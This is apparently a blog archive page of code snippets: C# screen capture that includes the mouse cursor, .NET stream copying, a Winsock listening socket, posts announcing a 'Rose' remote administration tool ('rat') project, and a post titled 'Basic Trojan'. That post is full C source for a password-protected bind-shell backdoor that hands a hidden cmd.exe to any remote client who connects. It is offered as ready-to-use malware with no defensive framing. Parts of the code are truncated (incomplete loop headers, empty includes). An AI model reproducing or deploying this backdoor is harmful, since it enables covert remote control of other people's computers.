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Showing posts with label client servers. Show all posts
Showing posts with label client servers. Show all posts

Wednesday, October 27, 2010

Capturing the Desktop Screen with the Mouse Cursor Image (Rashid.Mahmood )

public static Bitmap CaptureDesktopWithCursor()
{    
   int cursorX = 0;
   int cursorY = 0;
   Bitmap desktopBMP;
   Bitmap cursorBMP;
   Bitmap finalBMP;
   Graphics g;
   Rectangle r;
   desktopBMP = CaptureDesktop();
   cursorBMP = CaptureCursor(ref cursorX, ref cursorY);
   if(desktopBMP != null)
   {
       if (cursorBMP != null)
       {
           r = new Rectangle(cursorX, cursorY,
                   cursorBMP.Width, cursorBMP.Height);
           g = Graphics.FromImage(desktopBMP);
           g.DrawImage(cursorBMP, r);
           g.Flush();
           return desktopBMP;
       }
       else
           return desktopBMP;
   }
   return null;
}

static Bitmap CaptureCursor(ref int x, ref int y)
{
   Bitmap bmp;
   IntPtr hicon;
   Win32Stuff.CURSORINFO ci = new Win32Stuff.CURSORINFO();
   Win32Stuff.ICONINFO icInfo;
   ci.cbSize = Marshal.SizeOf(ci);
   if(Win32Stuff.GetCursorInfo(out ci))
   {
       if (ci.flags == Win32Stuff.CURSOR_SHOWING)
       {
           hicon = Win32Stuff.CopyIcon(ci.hCursor);
           if(Win32Stuff.GetIconInfo(hicon, out icInfo))
           {
               x = ci.ptScreenPos.x - ((int)icInfo.xHotspot);
               y = ci.ptScreenPos.y - ((int)icInfo.yHotspot);
               Icon ic = Icon.FromHandle(hicon);
               bmp = ic.ToBitmap();

               return bmp;
           }
       }
   }
   return null;
}

// ssWithMouseViewer is the PictureBox control

private void Display(Bitmap desktop)
{
    Graphics g;
    Rectangle r;
    if(desktop != null)
    {
        r = new Rectangle(0,0,ssWithMouseViewer.Width,
                            ssWithMouseViewer.Height);
        g = ssWithMouseViewer.CreateGraphics();
        g.DrawImage(desktop,r);
        g.Flush();
    }
}

Stream.Read Method

When overridden in a derived class, reads a sequence of bytes from the 
current stream and advances the position within the stream by the number of bytes read. 
 
public abstract int Read(
 byte[] buffer,
 int offset,
 int count
)

Stream.Write Method

When overridden in a derived class, writes a sequence of bytes to the 
current stream and advances the current position within this stream by 
the number of bytes written. 

const int size = 4096;
byte[] bytes = new byte[4096];
int numBytes;
while((numBytes = input.Read(bytes, 0, size)) > 0)
    output.Write(bytes, 0, numBytes);

Friday, October 22, 2010

Wednesday, September 22, 2010

The Rose remote administration tool project Beta 1.3


  • Fixed some TCP connection bugs
  • Notify when servers go online by sound alert

The Rose remote administration tool project Preview

Here is a preview of the "Rose" rat project. This is beta phase.



 

Tuesday, November 24, 2009

Creating a Listening Socket

#include 
#include 
#include 

#define NETWORK_ERROR -1
#define NETWORK_OK     0

void ReportError(int, const char *);


int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrevInst, LPSTR lpCmd, int nShow)
{
 WORD sockVersion;
 WSADATA wsaData;
 int nret;

 sockVersion = MAKEWORD(1, 1);   // We'd like Winsock version 1.1


 // We begin by initializing Winsock
 WSAStartup(sockVersion, &wsaData);


 // Next, create the listening socket
 SOCKET listeningSocket;

 listeningSocket = socket(AF_INET,  // Go over TCP/IP
            SOCK_STREAM,    // This is a stream-oriented socket
     IPPROTO_TCP);  // Use TCP rather than UDP

 if (listeningSocket == INVALID_SOCKET)
 {
  nret = WSAGetLastError();  // Get a more detailed error
  ReportError(nret, "socket()");  // Report the error with our custom function

  WSACleanup();    // Shutdown Winsock
  return NETWORK_ERROR;   // Return an error value
 }


 // Use a SOCKADDR_IN struct to fill in address information
 SOCKADDR_IN serverInfo;

 serverInfo.sin_family = AF_INET;
 serverInfo.sin_addr.s_addr = INADDR_ANY; // Since this socket is listening for connections,
       // any local address will do
 serverInfo.sin_port = htons(8888);  // Convert integer 8888 to network-byte order
       // and insert into the port field


 // Bind the socket to our local server address
 nret = bind(listeningSocket, (LPSOCKADDR)&serverInfo, sizeof(struct sockaddr));

 if (nret == SOCKET_ERROR)
 {
  nret = WSAGetLastError();
  ReportError(nret, "bind()");

  WSACleanup();
  return NETWORK_ERROR;
 }


 // Make the socket listen
 nret = listen(listeningSocket, 10);  // Up to 10 connections may wait at any
       // one time to be accept()'ed

 if (nret == SOCKET_ERROR)
 {
  nret = WSAGetLastError();
  ReportError(nret, "listen()");

  WSACleanup();
  return NETWORK_ERROR;
 }


 // Wait for a client
 SOCKET theClient;

 theClient = accept(listeningSocket,
      NULL,   // Optionally, address of a SOCKADDR_IN struct
      NULL);   // Optionally, address of variable containing
       // sizeof ( struct SOCKADDR_IN )

 if (theClient == INVALID_SOCKET)
 {
  nret = WSAGetLastError();
  ReportError(nret, "accept()");

  WSACleanup();
  return NETWORK_ERROR;
 }


 // Send and receive from the client, and finally,
 closesocket(theClient);
 closesocket(listeningSocket);


 // Shutdown Winsock
 WSACleanup();
 return NETWORK_OK;
}


void ReportError(int errorCode, const char *whichFunc)
{
   char errorMsg[92];     // Declare a buffer to hold
       // the generated error message
   
   ZeroMemory(errorMsg, 92);    // Automatically NULL-terminate the string

   // The following line copies the phrase, whichFunc string, and integer errorCode into the buffer
   sprintf(errorMsg, "Call to %s returned error %d!", (char *)whichFunc, errorCode);

   MessageBox(NULL, errorMsg, "socketIndication", MB_OK);
}

Basic Trojan

        #include
        #include
        #include


        //our variables, we need them globally to use them in all functions
        const char welcome[]="Welcome, enter your password please: ";
        char bufferin[1024]; //the buffer to read data from socket
        char bufferout[65535]; //the buffer to write data to the socket
        int i,port; // i is used for loop , port is going to keep the portnumber
        SOCKET locsock,remsock; //the sockets we are going to need
        SOCKADDR_IN sinloc,sinrem; //the structures needed for our sockets
        WSADATA wsadata; //wsadata
        STARTUPINFO startinfo; //startupinfo structure for CreateProcess
        SECURITY_ATTRIBUTES secat; //security attributes structure needed for CreateProcess
        PROCESS_INFORMATION procinfo; //process info struct needed for CreateProcess
        int bytesWritten; //number of bytes written gets stored here
        DWORD bytesRead,avail,exitcode; //number of bytes read, number of bytes available
        //and the exitcode


        void CommandPrompt(void); //the function to give the command prompt
        void Usage(char AppName[]); //the function which puts the usage of the program to the screen

        int main(int argc, char *argv[]) //the main function
        {
        if(argc!=3) //check if we are having enough parameters
        {
        Usage(argv[0]);
        return EXIT_FAILURE;
        }



        //check if the portnumber given is really a number
        for(i=0;i
        {
        if(isdigit(argv[1][i])==0)
        {
        printf("Invalid port number.");
        return EXIT_FAILURE;
        }
        }
        port=atoi(argv[1]); //make integer from ascii string

        //final check to see if it is a real port number
        if(port>65535||port<1)
        {
        printf("Invalid port number.");
        return EXIT_FAILURE;
        }
        //tell windows we want to use sockets
        WSAStartup(0x101,&wsadata);
        //create socket
        locsock=socket(AF_INET,SOCK_STREAM,0);

        //fill structure
        sinloc.sin_family=AF_INET;
        sinloc.sin_addr.s_addr=INADDR_ANY;
        sinloc.sin_port=htons(port);


        //bind the socket to the specified port
        if(bind(locsock,(SOCKADDR*)&sinloc,sizeof(SOCKADDR_IN))==SOCKET_ERROR)
        {
        WSACleanup();
        printf("Error binding socket.");
        return EXIT_FAILURE;
        }

        //listen on the specified socket
        if(listen(locsock,5)==SOCKET_ERROR)
        {
        WSACleanup();
        printf("Error listening socket.");
        return EXIT_FAILURE;
        }

        //infinite loop here to keep the program listening
        while(1)
        {
        remsock=SOCKET_ERROR;
        while(remsock==SOCKET_ERROR)
        {
        //accept connection to our program
        remsock=accept(locsock,NULL,NULL);
        if(remsock==INVALID_SOCKET)
        {
        //cleanup and exit program
        WSACleanup();
        printf("Error accepting socket.");
        return EXIT_FAILURE;
        }
        }
        //ask for password
        send(remsock,welcome,sizeof(welcome),0);
        recv(remsock,bufferin,sizeof(bufferin),0);
        //check password given
        bufferin[strlen(bufferin)-1]=0; //we need this to strip off last character
        if(strcmp(bufferin,argv[2])!=0)
        {
        send(remsock,"\nAccess Denied.\n",17,0);
        }
        else
        {
        CommandPrompt(); //start the commandprompt function
        }
        closesocket(remsock); //close the socket
        }
        //we should never reach this point, but i've put this hear just in case ;-)
        return EXIT_SUCCESS;

        }


        //*************************************************************
        void Usage(char AppName[]) //the function which does nothing more then print out the usage
        {
        printf("backdoor, written by White Scorpion Security (C) 2005\n");
        printf(" ****scorpion ****\n\n");
        printf("Usage: %s \n",AppName);
        }

        //*************************************************************
        void CommandPrompt(void) //the function which handles the complete commandprompt
        {
        secat.nLength=sizeof(SECURITY_ATTRIBUTES);
        secat.bInheritHandle=TRUE;
        DWORD bytesW; //number of bytes written gets stored here
        HANDLE newstdin,newstdout,readout,writein; //the handles for our Pipes
        char exit1[]={'e','x','i','t',10,0}; //we need this to compare our command to 'exit'
        char exit2[]={'E','X','I','T',10,0}; //we need this to compare our command to 'EXIT'

        //create the pipes for our command prompt
        CreatePipe(&newstdin,&writein,&secat,0);
        CreatePipe(&readout,&newstdout,&secat,0);

        GetStartupInfo(&startinfo);

        //fill another structure
        startinfo.dwFlags=STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
        startinfo.wShowWindow=SW_HIDE;
        startinfo.hStdOutput=newstdout;
        startinfo.hStdError=newstdout;
        startinfo.hStdInput=newstdin;

        //start cmd prompt
        CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,CREATE_NEW_CONSOLE,NULL,NULL,&startinfo,&procinfo);
        //endless loop
        while(1)
        {
        //check if cmd.exe is still running, if not then cleanup and start listening again.
        if(GetExitCodeProcess(procinfo.hProcess,&exitcode)==STILL_ACTIVE)
        {
        CloseHandle(procinfo.hThread);
        CloseHandle(procinfo.hProcess);
        CloseHandle(newstdin);
        CloseHandle(writein);
        CloseHandle(readout);
        CloseHandle(newstdout);
        break;
        }
        bytesRead=0;
        //sleep 0.5 seconds to give cmd.exe the chance to startup
        sleep(500);
        //check if the pipe already contains something we can write to output
        PeekNamedPipe(readout,bufferout,sizeof(bufferout),&bytesRead,&avail,NULL);
        if(bytesRead!=0)
        {
        while(bytesRead!=0)
        { //read data from cmd.exe and send to client, then clear the buffer
        ReadFile(readout,bufferout,sizeof(bufferout),&bytesRead,NULL);
        send(remsock,bufferout,strlen(bufferout),0);
        ZeroMemory(bufferout,sizeof(bufferout));
        sleep(100);
        PeekNamedPipe(readout,bufferout,sizeof(bufferout),&bytesRead,&avail,NULL);
        }
        }
        // clear bufferin
        ZeroMemory(bufferin,sizeof(bufferin));
        //receive the command given
        recv(remsock,bufferin,sizeof(bufferin),0);
        //if command is 'exit' or 'EXIT' then we have to capture it to prevent our program
        //from hanging.
        if((strcmp(bufferin,exit1)==0)||(strcmp(bufferin,exit2)==0))
        {
        //let cmd.exe close by giving the command, then go to closeup label
        WriteFile(writein,bufferin,strlen(bufferin),&bytesW,NULL);
        goto closeup;
        }
        //else write the command to cmd.exe
        WriteFile(writein,bufferin,strlen(bufferin),&bytesW,NULL);
        //clear the bufferin
        for(i=0;i
        {
        bufferin[i]=0;
        }
        }
        //close up all handles
        closeup:
        CloseHandle(procinfo.hThread);
        CloseHandle(procinfo.hProcess);
        CloseHandle(newstdin);
        CloseHandle(writein);
        CloseHandle(readout);
        CloseHandle(newstdout);
        }

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